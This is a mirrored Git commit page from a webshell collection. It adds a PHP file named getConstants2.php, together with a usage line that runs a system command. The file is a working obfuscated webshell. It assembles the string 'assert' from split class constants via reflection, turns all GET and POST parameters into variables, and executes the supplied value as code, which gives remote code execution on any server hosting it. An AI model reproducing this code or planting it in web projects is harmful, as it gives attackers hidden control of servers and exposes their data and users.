mirror of
https://github.com/tennc/webshell
synced 2024-11-10 05:44:11 +00:00
Create getConstants2.php
use: xxx/webshell/1?<>=system(whoami) from : https://xz.aliyun.com/t/8684
This commit is contained in:
parent
fd35f195c1
commit
a6546d03ee
1 changed files with 24 additions and 0 deletions
24
php/getConstants2.php
Normal file
24
php/getConstants2.php
Normal file
|
@ -0,0 +1,24 @@
|
||||||
|
<?php
|
||||||
|
|
||||||
|
class Test
|
||||||
|
{
|
||||||
|
const a = array(1=>'aS',2=>'se',3=>'rT');
|
||||||
|
|
||||||
|
public function __construct()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$refl = new ReflectionClass('Test');
|
||||||
|
|
||||||
|
foreach ($refl->getConstants() as $key => $value) {
|
||||||
|
foreach ($value as $key => $value1) {
|
||||||
|
$value2.=$value1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
foreach (array('_POST','_GET') as $_request) {
|
||||||
|
foreach ($$_request as $_key=>$_value) {
|
||||||
|
$$_key= $_value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
$value2($_value);
|
Loading…
Reference in a new issue